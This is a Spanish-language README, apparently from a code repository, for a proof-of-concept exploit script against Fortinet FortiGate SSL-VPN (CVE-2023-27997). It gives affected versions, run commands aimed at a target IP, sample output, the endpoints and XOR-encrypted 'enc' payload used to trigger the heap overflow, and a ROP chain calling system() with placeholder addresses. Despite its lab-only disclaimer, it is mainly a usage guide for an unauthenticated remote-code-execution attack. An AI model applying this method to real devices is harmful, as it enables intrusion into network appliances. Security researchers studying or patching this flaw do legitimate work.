
Script PoC de explotación de FortiGate SSL-VPN CVE-2023-27997 con cadena ROP
Script PoC de exploit para FortiGate SSL‑VPN CVE‑2023‑27997 con cadena ROP
fgt-cve-2023-27997-exploit.py es un script de exploit Proof‑of‑Concept (PoC) para la vulnerabilidad crítica CVE‑2023‑27997 descubierta en dispositivos Fortinet FortiGate.
La vulnerabilidad se debe a un error de desbordamiento de búfer basado en montón (heap-based buffer overflow) que permite la ejecución remota de código (RCE) sin autenticación en la interfaz SSL‑VPN de FortiOS.
Pasos del script:
/remote/hostcheck_validate para desencadenar el desbordamiento de memoria.Atención: El script solo debe utilizarse en entornos de prueba o laboratorio autorizados.
| Producto | Versiones |
|---|---|
| FortiOS | 7.2.0 – 7.2.5 7.0.0 – 7.0.11 6.4.0 – 6.4.12 6.2.0 – 6.2.14 6.0.0 – 6.0.16 |
| FortiProxy | Versiones correspondientes |
pip3 install -r requirements.txt
Contenido de requirements.txt:
requests urllib3
python3 fgt-cve-2023-27997-exploit.py <TARGET_IP> <TARGET_PORT>
Ejemplo:
python3 fgt-cve-2023-27997-exploit.py 192.168.1.200 10443
| Argumento | Descripción |
|---|---|
<TARGET_IP> | Dirección IP del FortiGate objetivo |
<TARGET_PORT> | Puerto SSL‑VPN (por defecto: 443 o 10443) |
[*] FortiOS 7.0.5 CVE-2023-27997 ROP Chain Ping Exploit Başlatılıyor...
[+] Salt alındı: 749a2b77
[+] Enc parametresi oluşturuldu (1024 karakter)
[!] 500 Internal Server Error - Bellek taşması veya crash olabilir!
/remote/info --> salt değeri alınır
/remote/hostcheck_validate?enc=<payload> --> buffer overflow tetiklenir
enc se cifra con el flujo de claves XOR (XOR keystream) generado a partir de la combinación de salt + seed.| Paso | Gadget | Descripción |
|---|
| 1 | pop rdi ; ret | Carga la dirección del comando en RDI |
| 2 | system@plt | Ejecuta el comando |
| – | 0xdeadbeefdeadbeef | Placeholder; la dirección real debe determinarse en el entorno de laboratorio |
Este PoC está diseñado para funcionar en un entorno de pruebas controlado sin necesidad de heap grooming.